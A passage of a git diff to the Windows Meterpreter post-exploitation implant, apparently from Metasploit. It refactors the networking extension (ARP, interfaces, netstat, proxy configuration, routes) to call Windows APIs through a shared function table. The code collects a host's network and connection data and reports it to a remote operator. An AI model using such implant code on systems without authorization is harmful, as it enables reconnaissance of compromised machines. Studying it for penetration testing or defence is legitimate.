- CIMAKEICOMMAND pCIMakeICommand; - CITEXTTOFULLTREE pCITextToFullTree; - } WDS_INTERFACE; diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/arp.c b/c/meterpreter/source/extensions/stdapi/server/net/config/arp.c index a55b2da7e..94cbeb887 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/config/arp.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/config/arp.c @@ -11,7 +11,7 @@ DWORD get_arp_table(Remote *remote, Packet *response) DWORD i; do { - dwRetVal = GetIpNetTable(NULL, &dwSize, 0); + dwRetVal = met_api->win_api.iphlpapi.GetIpNetTable(NULL, &dwSize, 0); /* Get the size required by GetIpNetTable() */ if (dwRetVal == ERROR_INSUFFICIENT_BUFFER) { @@ -24,11 +24,11 @@ DWORD get_arp_table(Remote *remote, Packet *response) } if (pIpNetTable == NULL) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } - if ((dwRetVal = GetIpNetTable(pIpNetTable, &dwSize, 0)) == NO_ERROR) { + if ((dwRetVal = met_api->win_api.iphlpapi.GetIpNetTable(pIpNetTable, &dwSize, 0)) == NO_ERROR) { dprintf("[ARP] found %d arp entries", pIpNetTable->dwNumEntries); for (i = 0 ; i < pIpNetTable->dwNumEntries ; i++) { // send only dynamic or static entry @@ -46,7 +46,7 @@ DWORD get_arp_table(Remote *remote, Packet *response) arp[2].header.type = TLV_TYPE_MAC_NAME; MIB_IFROW iface = { .dwIndex = pIpNetTable->table[i].dwIndex }; - result = GetIfEntry(&iface); + result = met_api->win_api.iphlpapi.GetIfEntry(&iface); if ((result == NO_ERROR) && (iface.bDescr)) { arp[2].header.length = (DWORD)strlen(iface.bDescr) + 1; arp[2].buffer = (PUCHAR)iface.bDescr; @@ -65,7 +65,7 @@ DWORD get_arp_table(Remote *remote, Packet *response) free(pIpNetTable); } else { // GetIpNetTable failed - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } } while (0); diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/interface.c b/c/meterpreter/source/extensions/stdapi/server/net/config/interface.c index c775a167c..e0d0de899 100755 --- a/c/meterpreter/source/extensions/stdapi/server/net/config/interface.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/config/interface.c @@ -17,7 +17,7 @@ DWORD get_interfaces_mib(Remote *remote, Packet *response) } // attempt with an insufficient buffer size - DWORD result = GetIpAddrTable(table, &tableSize, TRUE); + DWORD result = met_api->win_api.iphlpapi.GetIpAddrTable(table, &tableSize, TRUE); if (result == ERROR_INSUFFICIENT_BUFFER) { table = (PMIB_IPADDRTABLE)realloc(table, tableSize); @@ -27,17 +27,17 @@ DWORD get_interfaces_mib(Remote *remote, Packet *response) return ERROR_OUTOFMEMORY; } - if (GetIpAddrTable(table, &tableSize, TRUE) != NO_ERROR) + if (met_api->win_api.iphlpapi.GetIpAddrTable(table, &tableSize, TRUE) != NO_ERROR) { free(table); - return GetLastError(); + return met_api->win_api.kernel32.GetLastError(); } } // it might have worked with a single row! else if (result != NO_ERROR) { free(table); - return GetLastError(); + return met_api->win_api.kernel32.GetLastError(); } // Enumerate the entries @@ -52,7 +52,7 @@ DWORD get_interfaces_mib(Remote *remote, Packet *response) iface.dwIndex = table->table[index].dwIndex; // If interface information can get gotten, use it. - if (GetIfEntry(&iface) == NO_ERROR) + if (met_api->win_api.iphlpapi.GetIfEntry(&iface) == NO_ERROR) { met_api->packet.add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)iface.bPhysAddr, iface.dwPhysAddrLen); met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, iface.dwMtu); @@ -86,7 +86,6 @@ DWORD get_interfaces(Remote *remote, Packet *response) IP_ADAPTER_ADDRESSES *pAdapters = NULL; IP_ADAPTER_ADDRESSES *pCurr = NULL; ULONG outBufLen = 0; - DWORD(WINAPI *gaa)(DWORD, DWORD, void *, void *, void *); // Use the newer version so we're guaranteed to have a large enough struct. // Unfortunately, using these probably means it won't compile on older @@ -101,25 +100,26 @@ DWORD get_interfaces(Remote *remote, Packet *response) // We can't rely on the `Length` parameter of the IP_ADAPTER_PREFIX_XP struct // to tell us if we're on Vista or not because it always comes out at 48 bytes // so we have to check the version manually. - OSVERSIONINFOEX v; + OSVERSIONINFOEXA v; - gaa = (DWORD(WINAPI *)(DWORD, DWORD, void*, void*, void*))GetProcAddress( - GetModuleHandle("iphlpapi"), "GetAdaptersAddresses"); - if (!gaa) + result = met_api->win_api.iphlpapi.GetAdaptersAddresses(family, flags, NULL, pAdapters, &outBufLen); + if (result == ERROR_PROC_NOT_FOUND) { dprintf("[INTERFACE] No 'GetAdaptersAddresses'. Falling back on get_interfaces_mib"); return get_interfaces_mib(remote, response); } - - gaa(family, flags, NULL, pAdapters, &outBufLen); + if (result != ERROR_BUFFER_OVERFLOW) + { + return result; + } if (!(pAdapters = malloc(outBufLen))) { return ERROR_NOT_ENOUGH_MEMORY; } - if (gaa(family, flags, NULL, pAdapters, &outBufLen)) + result = met_api->win_api.iphlpapi.GetAdaptersAddresses(family, flags, NULL, pAdapters, &outBufLen); + if (result != NO_ERROR) { - result = GetLastError(); goto out; } @@ -137,7 +137,7 @@ DWORD get_interfaces(Remote *remote, Packet *response) // we'll need to know the version later on memset(&v, 0, sizeof(v)); v.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); - GetVersionEx((LPOSVERSIONINFO)&v); + met_api->win_api.kernel32.GetVersionExA((LPOSVERSIONINFOA)&v); // Enumerate the entries for (pCurr = pAdapters; pCurr; pCurr = pCurr->Next) @@ -174,12 +174,12 @@ DWORD get_interfaces(Remote *remote, Packet *response) // Then this is Vista+ and the OnLinkPrefixLength member // will be populated dprintf("[INTERFACES] >= Vista, using prefix: %x", pAddr->OnLinkPrefixLength); - prefix = htonl(pAddr->OnLinkPrefixLength); + prefix = met_api->win_api.ws2_32.htonl(pAddr->OnLinkPrefixLength); } else if (pPrefix) { dprintf("[INTERFACES] < Vista, using prefix: %x", pPrefix->PrefixLength); - prefix = htonl(pPrefix->PrefixLength); + prefix = met_api->win_api.ws2_32.htonl(pPrefix->PrefixLength); } else { diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c b/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c index 90923f0b9..240849851 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c @@ -58,11 +58,6 @@ DWORD check_and_allocate(struct connection_table **table_connection) return ERROR_SUCCESS; } -typedef HANDLE (WINAPI *ptr_CreateToolhelp32Snapshot)(DWORD dwFlags,DWORD th32ProcessID); -typedef BOOL (WINAPI *ptr_Process32First)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); -typedef BOOL (WINAPI *ptr_Process32Next)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); - - /* * write pid/process_name in buffer */ @@ -70,32 +65,21 @@ typedef BOOL (WINAPI *ptr_Process32Next)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe DWORD set_process_name(DWORD pid, char * buffer, DWORD buffer_size) { HANDLE hSnapshot; - ptr_CreateToolhelp32Snapshot ct32s = NULL; - ptr_Process32First p32f = NULL; - ptr_Process32Next p32n = NULL; - - - ct32s = (ptr_CreateToolhelp32Snapshot)GetProcAddress(GetModuleHandle("kernel32"), "CreateToolhelp32Snapshot"); - p32f = (ptr_Process32First)GetProcAddress(GetModuleHandle("kernel32"), "Process32First"); - p32n = (ptr_Process32Next)GetProcAddress(GetModuleHandle("kernel32"), "Process32Next"); - - if ((!ct32s) || (!p32f) || (!p32n)) - return -1; - hSnapshot = ct32s(TH32CS_SNAPPROCESS,0); - if(hSnapshot) { - PROCESSENTRY32 pe32; - pe32.dwSize = sizeof(PROCESSENTRY32); - if(p32f(hSnapshot,&pe32)) { + hSnapshot = met_api->win_api.kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot != INVALID_HANDLE_VALUE) { + PROCESSENTRY32W pe32; + pe32.dwSize = sizeof(PROCESSENTRY32W); + if (met_api->win_api.kernel32.Process32FirstW(hSnapshot, &pe32)) { do { if (pe32.th32ProcessID == pid) { - _snprintf_s(buffer, buffer_size-1, _TRUNCATE, "%d/%s",pid, pe32.szExeFile); + _snprintf_s(buffer, buffer_size-1, _TRUNCATE, "%d/%S", pid, pe32.szExeFile); break; } - } while(p32n(hSnapshot,&pe32)); - } - CloseHandle(hSnapshot); - } + } while (met_api->win_api.kernel32.Process32NextW(hSnapshot, &pe32)); + } + met_api->win_api.kernel32.CloseHandle(hSnapshot); + } return ERROR_SUCCESS; } @@ -144,11 +128,6 @@ typedef struct { #endif -typedef DWORD (WINAPI * ptr_GetExtendedTcpTable)(PVOID, PDWORD pdwSize, BOOL bOrder, ULONG ulAf,TCP_TABLE_CLASS TableClass, -ULONG Reserved); -typedef DWORD (WINAPI * ptr_GetExtendedUdpTable)(PVOID, PDWORD pdwSize, BOOL bOrder, ULONG ulAf,TCP_TABLE_CLASS TableClass, -ULONG Reserved); - /* * retrieve tcp table for win 2000 and NT4 ? */ @@ -162,7 +141,7 @@ DWORD get_tcp_table_win2000_down(struct connection_table **table_connection) DWORD i, state; do { - dwRetVal = GetTcpTable(pTcpTable, &dwSize, TRUE); + dwRetVal = met_api->win_api.iphlpapi.GetTcpTable(pTcpTable, &dwSize, TRUE); dprintf("[NETSTAT TCP] need %d bytes",dwSize); /* Get the size required by GetTcpTable() */ if (dwRetVal == ERROR_INSUFFICIENT_BUFFER) { @@ -173,7 +152,7 @@ DWORD get_tcp_table_win2000_down(struct connection_table **table_connection) break; } - if ((dwRetVal = GetTcpTable(pTcpTable, &dwSize, TRUE)) == NO_ERROR) { + if ((dwRetVal = met_api->win_api.iphlpapi.GetTcpTable(pTcpTable, &dwSize, TRUE)) == NO_ERROR) { dprintf("[NETSTAT] found %d tcp connections", pTcpTable->dwNumEntries); for (i = 0 ; i < pTcpTable->dwNumEntries ; i++) { // check available memory and allocate if necessary @@ -185,12 +164,12 @@ DWORD get_tcp_table_win2000_down(struct connection_table **table_connection) current_connection->type = AF_INET; current_connection->local_addr.addr = pTcpTable->table[i].dwLocalAddr; current_connection->remote_addr.addr = pTcpTable->table[i].dwRemoteAddr; - current_connection->local_port = ntohs((u_short)(pTcpTable->table[i].dwLocalPort & 0x0000ffff)); + current_connection->local_port = met_api->win_api.ws2_32.ntohs((u_short)(pTcpTable->table[i].dwLocalPort & 0x0000ffff)); // if socket is in LISTEN, remote_port is garbage, force value to 0 if (pTcpTable->table[i].dwState == MIB_TCP_STATE_LISTEN) current_connection->remote_port = 0; else - current_connection->remote_port = ntohs((u_short)(pTcpTable->table[i].dwRemotePort & 0x0000ffff)); + current_connection->remote_port = met_api->win_api.ws2_32.ntohs((u_short)(pTcpTable->table[i].dwRemotePort & 0x0000ffff)); state = pTcpTable->table[i].dwState; if ((state <= 0) || (state > 12)) @@ -206,7 +185,7 @@ DWORD get_tcp_table_win2000_down(struct connection_table **table_connection) free(pTcpTable); } else { // GetTcpTable failed - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } } while (0) ; @@ -225,23 +204,20 @@ DWORD get_tcp_table(struct connection_table **table_connection) MIB_TCP6TABLE_OWNER_MODULE * tablev6 = NULL; MIB_TCPROW_OWNER_MODULE * currentv4 = NULL; MIB_TCP6ROW_OWNER_MODULE * currentv6 = NULL; - DWORD i, state, dwSize; - + DWORD i, state, dwSize, tableResult; - ptr_GetExtendedTcpTable gett = NULL; - - gett = (ptr_GetExtendedTcpTable)GetProcAddress(GetModuleHandle("iphlpapi"), "GetExtendedTcpTable"); - - // systems that don't support GetExtendedTcpTable - if (gett == NULL) { - return get_tcp_table_win2000_down(table_connection); - } do { // IPv4 part dwSize = 0; - if (gett(NULL,&dwSize, TRUE, AF_INET, TCP_TABLE_OWNER_MODULE_ALL, 0) == ERROR_INSUFFICIENT_BUFFER) { + tableResult = met_api->win_api.iphlpapi.GetExtendedTcpTable(NULL, &dwSize, TRUE, AF_INET, TCP_TABLE_OWNER_MODULE_ALL, 0); + // Systems that don't support GetExtendedTcpTable use the legacy table. + if (tableResult == ERROR_PROC_NOT_FOUND) { + return get_tcp_table_win2000_down(table_connection); + } + if (tableResult == ERROR_INSUFFICIENT_BUFFER) { tablev4 = (MIB_TCPTABLE_OWNER_MODULE *)malloc(dwSize); - if (gett(tablev4, &dwSize, TRUE, AF_INET, TCP_TABLE_OWNER_MODULE_ALL, 0) == NO_ERROR) { + tableResult = met_api->win_api.iphlpapi.GetExtendedTcpTable(tablev4, &dwSize, TRUE, AF_INET, TCP_TABLE_OWNER_MODULE_ALL, 0); + if (tableResult == NO_ERROR) { for(i=0; idwNumEntries; i++) { // check available memory and allocate if necessary if (check_and_allocate(table_connection) == ERROR_NOT_ENOUGH_MEMORY) { @@ -253,12 +229,12 @@ DWORD get_tcp_table(struct connection_table **table_connection) current_connection->type = AF_INET; current_connection->local_addr.addr = currentv4->dwLocalAddr; current_connection->remote_addr.addr = currentv4->dwRemoteAddr; - current_connection->local_port = ntohs((u_short)(currentv4->dwLocalPort & 0x0000ffff)); + current_connection->local_port = met_api->win_api.ws2_32.ntohs((u_short)(currentv4->dwLocalPort & 0x0000ffff)); // if socket is in LISTEN, remote_port is garbage, force value to 0 if (currentv4->dwState == MIB_TCP_STATE_LISTEN) current_connection->remote_port = 0; else - current_connection->remote_port = ntohs((u_short)(currentv4->dwRemotePort & 0x0000ffff)); + current_connection->remote_port = met_api->win_api.ws2_32.ntohs((u_short)(currentv4->dwRemotePort & 0x0000ffff)); state = currentv4->dwState; if ((state <= 0) || (state > 12)) @@ -274,8 +250,8 @@ DWORD get_tcp_table(struct connection_table **table_connection) (*table_connection)->entries++; } } - else { // gett failed - result = GetLastError(); + else { // GetExtendedTcpTable failed + result = tableResult; if (tablev4) free(tablev4); break; @@ -285,9 +261,11 @@ DWORD get_tcp_table(struct connection_table **table_connection) } // IPv6 part dwSize = 0; - if (gett(NULL,&dwSize, TRUE, AF_INET6, TCP_TABLE_OWNER_MODULE_ALL, 0) == ERROR_INSUFFICIENT_BUFFER) { + tableResult = met_api->win_api.iphlpapi.GetExtendedTcpTable(NULL, &dwSize, TRUE, AF_INET6, TCP_TABLE_OWNER_MODULE_ALL, 0); + if (tableResult == ERROR_INSUFFICIENT_BUFFER) { tablev6 = (MIB_TCP6TABLE_OWNER_MODULE *)malloc(dwSize); - if (gett(tablev6, &dwSize, TRUE, AF_INET6, TCP_TABLE_OWNER_MODULE_ALL, 0) == NO_ERROR) { + tableResult = met_api->win_api.iphlpapi.GetExtendedTcpTable(tablev6, &dwSize, TRUE, AF_INET6, TCP_TABLE_OWNER_MODULE_ALL, 0); + if (tableResult == NO_ERROR) { for(i=0; idwNumEntries; i++) { // check available memory and allocate if necessary if (check_and_allocate(table_connection) == ERROR_NOT_ENOUGH_MEMORY) { @@ -299,12 +277,12 @@ DWORD get_tcp_table(struct connection_table **table_connection) current_connection->type = AF_INET6; memcpy(¤t_connection->local_addr.addr6, currentv6->ucLocalAddr, sizeof(current_connection->local_addr.addr6)); memcpy(¤t_connection->remote_addr.addr6, currentv6->ucRemoteAddr, sizeof(current_connection->remote_addr.addr6)); - current_connection->local_port = ntohs((u_short)(currentv6->dwLocalPort & 0x0000ffff)); + current_connection->local_port = met_api->win_api.ws2_32.ntohs((u_short)(currentv6->dwLocalPort & 0x0000ffff)); // if socket is in LISTEN, remote_port is garbage, force value to 0 if (currentv6->dwState == MIB_TCP_STATE_LISTEN) current_connection->remote_port = 0; else - current_connection->remote_port = ntohs((u_short)(currentv6->dwRemotePort & 0x0000ffff)); + current_connection->remote_port = met_api->win_api.ws2_32.ntohs((u_short)(currentv6->dwRemotePort & 0x0000ffff)); state = currentv6->dwState; if ((state <= 0) || (state > 12)) @@ -320,8 +298,8 @@ DWORD get_tcp_table(struct connection_table **table_connection) (*table_connection)->entries++; } } - else { // gett failed - result = GetLastError(); + else { // GetExtendedTcpTable failed + result = tableResult; if (tablev6) free(tablev6); break; @@ -347,7 +325,7 @@ DWORD get_udp_table_win2000_down(struct connection_table **table_connection) DWORD i; do { - dwRetVal = GetUdpTable(pUdpTable, &dwSize, TRUE); + dwRetVal = met_api->win_api.iphlpapi.GetUdpTable(pUdpTable, &dwSize, TRUE); dprintf("[NETSTAT UDP] need %d bytes",dwSize); /* Get the size required by GetUdpTable() */ if (dwRetVal == ERROR_INSUFFICIENT_BUFFER) { @@ -358,7 +336,7 @@ DWORD get_udp_table_win2000_down(struct connection_table **table_connection) break; } - if ((dwRetVal = GetUdpTable(pUdpTable, &dwSize, TRUE)) == NO_ERROR) { + if ((dwRetVal = met_api->win_api.iphlpapi.GetUdpTable(pUdpTable, &dwSize, TRUE)) == NO_ERROR) { dprintf("[NETSTAT] found %d udp connections", pUdpTable->dwNumEntries); for (i = 0 ; i < pUdpTable->dwNumEntries ; i++) { // check available memory and allocate if necessary @@ -371,7 +349,7 @@ DWORD get_udp_table_win2000_down(struct connection_table **table_connection) current_connection->type = AF_INET; current_connection->local_addr.addr = pUdpTable->table[i].dwLocalAddr; current_connection->remote_addr.addr = 0; - current_connection->local_port = ntohs((u_short)(pUdpTable->table[i].dwLocalPort & 0x0000ffff)); + current_connection->local_port = met_api->win_api.ws2_32.ntohs((u_short)(pUdpTable->table[i].dwLocalPort & 0x0000ffff)); current_connection->remote_port = 0; // force state to "" @@ -386,7 +364,7 @@ DWORD get_udp_table_win2000_down(struct connection_table **table_connection) free(pUdpTable); } else { // GetUdpTable failed - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } } while (0) ; @@ -406,22 +384,20 @@ DWORD get_udp_table(struct connection_table **table_connection) MIB_UDP6TABLE_OWNER_MODULE * tablev6 = NULL; MIB_UDPROW_OWNER_MODULE * currentv4 = NULL; MIB_UDP6ROW_OWNER_MODULE * currentv6 = NULL; - DWORD i, dwSize; + DWORD i, dwSize, tableResult; - ptr_GetExtendedUdpTable geut = NULL; - - geut = (ptr_GetExtendedTcpTable)GetProcAddress(GetModuleHandle("iphlpapi"), "GetExtendedUdpTable"); - - // systems that don't support GetExtendedUdpTable - if (geut == NULL) { - return get_udp_table_win2000_down(table_connection); - } do { // IPv4 part dwSize = 0; - if (geut(NULL,&dwSize, TRUE, AF_INET, UDP_TABLE_OWNER_MODULE, 0) == ERROR_INSUFFICIENT_BUFFER) { + tableResult = met_api->win_api.iphlpapi.GetExtendedUdpTable(NULL, &dwSize, TRUE, AF_INET, UDP_TABLE_OWNER_MODULE, 0); + // Systems that don't support GetExtendedUdpTable use the legacy table. + if (tableResult == ERROR_PROC_NOT_FOUND) { + return get_udp_table_win2000_down(table_connection); + } + if (tableResult == ERROR_INSUFFICIENT_BUFFER) { tablev4 = (MIB_UDPTABLE_OWNER_MODULE *)malloc(dwSize); - if (geut(tablev4, &dwSize, TRUE, AF_INET, UDP_TABLE_OWNER_MODULE, 0) == NO_ERROR) { + tableResult = met_api->win_api.iphlpapi.GetExtendedUdpTable(tablev4, &dwSize, TRUE, AF_INET, UDP_TABLE_OWNER_MODULE, 0); + if (tableResult == NO_ERROR) { for(i=0; idwNumEntries; i++) { // check available memory and allocate if necessary if (check_and_allocate(table_connection) == ERROR_NOT_ENOUGH_MEMORY) { @@ -434,7 +410,7 @@ DWORD get_udp_table(struct connection_table **table_connection) current_connection->type = AF_INET; current_connection->local_addr.addr = currentv4->dwLocalAddr; current_connection->remote_addr.addr = 0; - current_connection->local_port = ntohs((u_short)(currentv4->dwLocalPort & 0x0000ffff)); + current_connection->local_port = met_api->win_api.ws2_32.ntohs((u_short)(currentv4->dwLocalPort & 0x0000ffff)); current_connection->remote_port = 0; strncpy((char*)current_connection->state, "", sizeof(current_connection->state) - 1); @@ -448,8 +424,8 @@ DWORD get_udp_table(struct connection_table **table_connection) (*table_connection)->entries++; } } - else { // geut failed - result = GetLastError(); + else { // GetExtendedUdpTable failed + result = tableResult; if (tablev4) free(tablev4); break; @@ -459,9 +435,11 @@ DWORD get_udp_table(struct connection_table **table_connection) } // IPv6 part dwSize = 0; - if (geut(NULL,&dwSize, TRUE, AF_INET6, UDP_TABLE_OWNER_MODULE, 0) == ERROR_INSUFFICIENT_BUFFER) { + tableResult = met_api->win_api.iphlpapi.GetExtendedUdpTable(NULL, &dwSize, TRUE, AF_INET6, UDP_TABLE_OWNER_MODULE, 0); + if (tableResult == ERROR_INSUFFICIENT_BUFFER) { tablev6 = (MIB_UDP6TABLE_OWNER_MODULE *)malloc(dwSize); - if (geut(tablev6, &dwSize, TRUE, AF_INET6, UDP_TABLE_OWNER_MODULE, 0) == NO_ERROR) { + tableResult = met_api->win_api.iphlpapi.GetExtendedUdpTable(tablev6, &dwSize, TRUE, AF_INET6, UDP_TABLE_OWNER_MODULE, 0); + if (tableResult == NO_ERROR) { for(i=0; idwNumEntries; i++) { // check available memory and allocate if necessary if (check_and_allocate(table_connection) == ERROR_NOT_ENOUGH_MEMORY) { @@ -473,7 +451,7 @@ DWORD get_udp_table(struct connection_table **table_connection) current_connection->type = AF_INET6; memcpy(¤t_connection->local_addr.addr6, currentv6->ucLocalAddr, sizeof(current_connection->local_addr.addr6)); memset(¤t_connection->remote_addr.addr6, 0, sizeof(current_connection->remote_addr.addr6)); - current_connection->local_port = ntohs((u_short)(currentv6->dwLocalPort & 0x0000ffff)); + current_connection->local_port = met_api->win_api.ws2_32.ntohs((u_short)(currentv6->dwLocalPort & 0x0000ffff)); current_connection->remote_port = 0; strncpy((char*)current_connection->state, "", sizeof(current_connection->state) - 1); @@ -487,8 +465,8 @@ DWORD get_udp_table(struct connection_table **table_connection) (*table_connection)->entries++; } } - else { // gett failed - result = GetLastError(); + else { // GetExtendedUdpTable failed + result = tableResult; if (tablev6) free(tablev6); break; @@ -546,12 +524,12 @@ DWORD get_connection_table(Remote *remote, Packet *response) connection[1].buffer = (PUCHAR)¤t_connection->remote_addr.addr6; } - local_port_be = htonl(current_connection->local_port); + local_port_be = met_api->win_api.ws2_32.htonl(current_connection->local_port); connection[2].header.type = TLV_TYPE_LOCAL_PORT; connection[2].header.length = sizeof(__u32); connection[2].buffer = (PUCHAR)&local_port_be; - remote_port_be = htonl(current_connection->remote_port); + remote_port_be = met_api->win_api.ws2_32.htonl(current_connection->remote_port); connection[3].header.type = TLV_TYPE_PEER_PORT; connection[3].header.length = sizeof(__u32); connection[3].buffer = (PUCHAR)&remote_port_be; diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/proxy_config.c b/c/meterpreter/source/extensions/stdapi/server/net/config/proxy_config.c index 34e1481fc..575c58088 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/config/proxy_config.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/config/proxy_config.c @@ -1,10 +1,6 @@ #include "precomp.h" #include "common_metapi.h" -typedef BOOL (WINAPI * PWINHTTPGETIEPROXYCONFIGFORCURRENTUSER)( - WINHTTP_CURRENT_USER_IE_PROXY_CONFIG *pProxyConfig -); - /*! * @brief Get the current Internet Explorer proxy configuration. * @param remote Pointer to the \c Remote instance making the call. @@ -21,24 +17,15 @@ DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet) DWORD dwResult = ERROR_NOT_SUPPORTED; Packet *response = met_api->packet.create_response(packet); - HMODULE hWinHttp = NULL; - PWINHTTPGETIEPROXYCONFIGFORCURRENTUSER pProxyFun = NULL; WINHTTP_CURRENT_USER_IE_PROXY_CONFIG proxyConfig; do { - if ((hWinHttp = LoadLibraryA("Winhttp.dll")) == NULL) { - dprintf("[PROXY] Unable to load Winhttp.dll"); - break; - } - - if ((pProxyFun = (PWINHTTPGETIEPROXYCONFIGFORCURRENTUSER)GetProcAddress(hWinHttp, "WinHttpGetIEProxyConfigForCurrentUser")) == NULL) { - dprintf("[PROXY] Unable to find WinHttpGetIEProxyConfigForCurrentUser in Winhttp.dll"); - break; - } - - if (!pProxyFun(&proxyConfig)) { - BREAK_ON_ERROR("[PROXY] Failed to extract proxy configuration"); + // Preserve the previous ERROR_NOT_SUPPORTED result if the optional export is absent. + met_api->win_api.kernel32.SetLastError(ERROR_NOT_SUPPORTED); + if (!met_api->win_api.winhttp.WinHttpGetIEProxyConfigForCurrentUser(&proxyConfig)) { + dwResult = met_api->win_api.kernel32.GetLastError(); + dprintf("[PROXY] Failed to extract proxy configuration. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); break; } @@ -46,27 +33,23 @@ DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet) if (proxyConfig.lpszAutoConfigUrl) { met_api->packet.add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxyConfig.lpszAutoConfigUrl); - GlobalFree((HGLOBAL)proxyConfig.lpszAutoConfigUrl); + met_api->win_api.kernel32.GlobalFree((HGLOBAL)proxyConfig.lpszAutoConfigUrl); } if (proxyConfig.lpszProxy) { met_api->packet.add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXY, proxyConfig.lpszProxy); - GlobalFree((HGLOBAL)proxyConfig.lpszProxy); + met_api->win_api.kernel32.GlobalFree((HGLOBAL)proxyConfig.lpszProxy); } if (proxyConfig.lpszProxyBypass) { met_api->packet.add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxyConfig.lpszProxyBypass); - GlobalFree((HGLOBAL)proxyConfig.lpszProxyBypass); + met_api->win_api.kernel32.GlobalFree((HGLOBAL)proxyConfig.lpszProxyBypass); } dwResult = ERROR_SUCCESS; } while(0); - if (hWinHttp != NULL) { - FreeLibrary(hWinHttp); - } - met_api->packet.transmit_response(dwResult, remote, response); return dwResult; diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/route.c b/c/meterpreter/source/extensions/stdapi/server/net/config/route.c index 95e0c3bd5..bc92f507d 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/config/route.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/config/route.c @@ -3,11 +3,6 @@ #include "common_metapi.h" #include -typedef VOID(NETIOAPI_API_* FREEMIBTABLE)(PVOID Memory); -typedef NETIO_STATUS(NETIOAPI_API_* GETBESTINTERFACE)(IPAddr dwDestAddr, PDWORD pdwBestIfIndex); -typedef NETIO_STATUS(NETIOAPI_API_* GETIPFORWARDTABLE2)(ADDRESS_FAMILY Family, PMIB_IPFORWARD_TABLE2* Table); -typedef NETIO_STATUS(NETIOAPI_API_* GETIPINTERFACEENTRY)(PMIB_IPINTERFACE_ROW Row); - typedef struct v6netmask { unsigned int mask[4]; @@ -31,22 +26,22 @@ static void bit128mask(unsigned int bits, v6netmask* netmask){ netmask->mask[0] = 0xffffffff; netmask->mask[1] = 0xffffffff; netmask->mask[2] = 0xffffffff; - netmask->mask[3] = htonl(part); + netmask->mask[3] = met_api->win_api.ws2_32.htonl(part); } else if (bits >= 64) { netmask->mask[0] = 0xffffffff; netmask->mask[1] = 0xffffffff; - netmask->mask[2] = htonl(part); + netmask->mask[2] = met_api->win_api.ws2_32.htonl(part); netmask->mask[3] = 0x0; } else if (bits >= 32) { netmask->mask[0] = 0xffffffff; - netmask->mask[1] = htonl(part); + netmask->mask[1] = met_api->win_api.ws2_32.htonl(part); netmask->mask[2] = 0x0; netmask->mask[3] = 0x0; } else { - netmask->mask[0] = htonl(part); + netmask->mask[0] = met_api->win_api.ws2_32.htonl(part); netmask->mask[1] = 0x0; netmask->mask[2] = 0x0; netmask->mask[3] = 0x0; @@ -63,7 +58,6 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) DWORD index; DWORD metric_bigendian; - FREEMIBTABLE pFreeMibTable = (FREEMIBTABLE)GetProcAddress(GetModuleHandle(TEXT("Iphlpapi.dll")), "FreeMibTable"); PMIB_IPFORWARDTABLE table_ipv4 = NULL; PMIB_IPFORWARD_TABLE2 table_ipv6 = NULL; DWORD tableSize = sizeof(MIB_IPFORWARDROW) * 96; @@ -79,9 +73,11 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) } // Get the routing table - if (GetIpForwardTable(table_ipv4, &tableSize, TRUE) != NO_ERROR) + dwResult = met_api->win_api.iphlpapi.GetIpForwardTable(table_ipv4, &tableSize, TRUE); + if (dwResult != NO_ERROR) { - BREAK_ON_ERROR("[NET] request_net_config_get_routes: GetIpForwardTable failed"); + dprintf("[NET] request_net_config_get_routes: GetIpForwardTable failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; } // Enumerate it @@ -108,7 +104,7 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) route[3].header.length = (DWORD)strlen(int_name) + 1; route[3].buffer = (PUCHAR)int_name; - metric_bigendian = htonl(table_ipv4->table[index].dwForwardMetric1); + metric_bigendian = met_api->win_api.ws2_32.htonl(table_ipv4->table[index].dwForwardMetric1); route[4].header.type = TLV_TYPE_ROUTE_METRIC; route[4].header.length = sizeof(DWORD); route[4].buffer = (PUCHAR)&metric_bigendian; @@ -119,14 +115,16 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) v6netmask v6_mask; MIB_IPINTERFACE_ROW iface = { .Family = AF_INET6 }; - GETIPFORWARDTABLE2 pGetIpForwardTable2 = (GETIPFORWARDTABLE2)GetProcAddress(GetModuleHandle(TEXT("Iphlpapi.dll")), "GetIpForwardTable2"); + NETIO_STATUS tableResult = met_api->win_api.iphlpapi.GetIpForwardTable2(AF_INET6, &table_ipv6); // GetIpForwardTable2 is only available on Windows Vista and later. - if (!pGetIpForwardTable2) { + if (tableResult == ERROR_PROC_NOT_FOUND) { break; } - if (pGetIpForwardTable2(AF_INET6, &table_ipv6) != NO_ERROR) { - 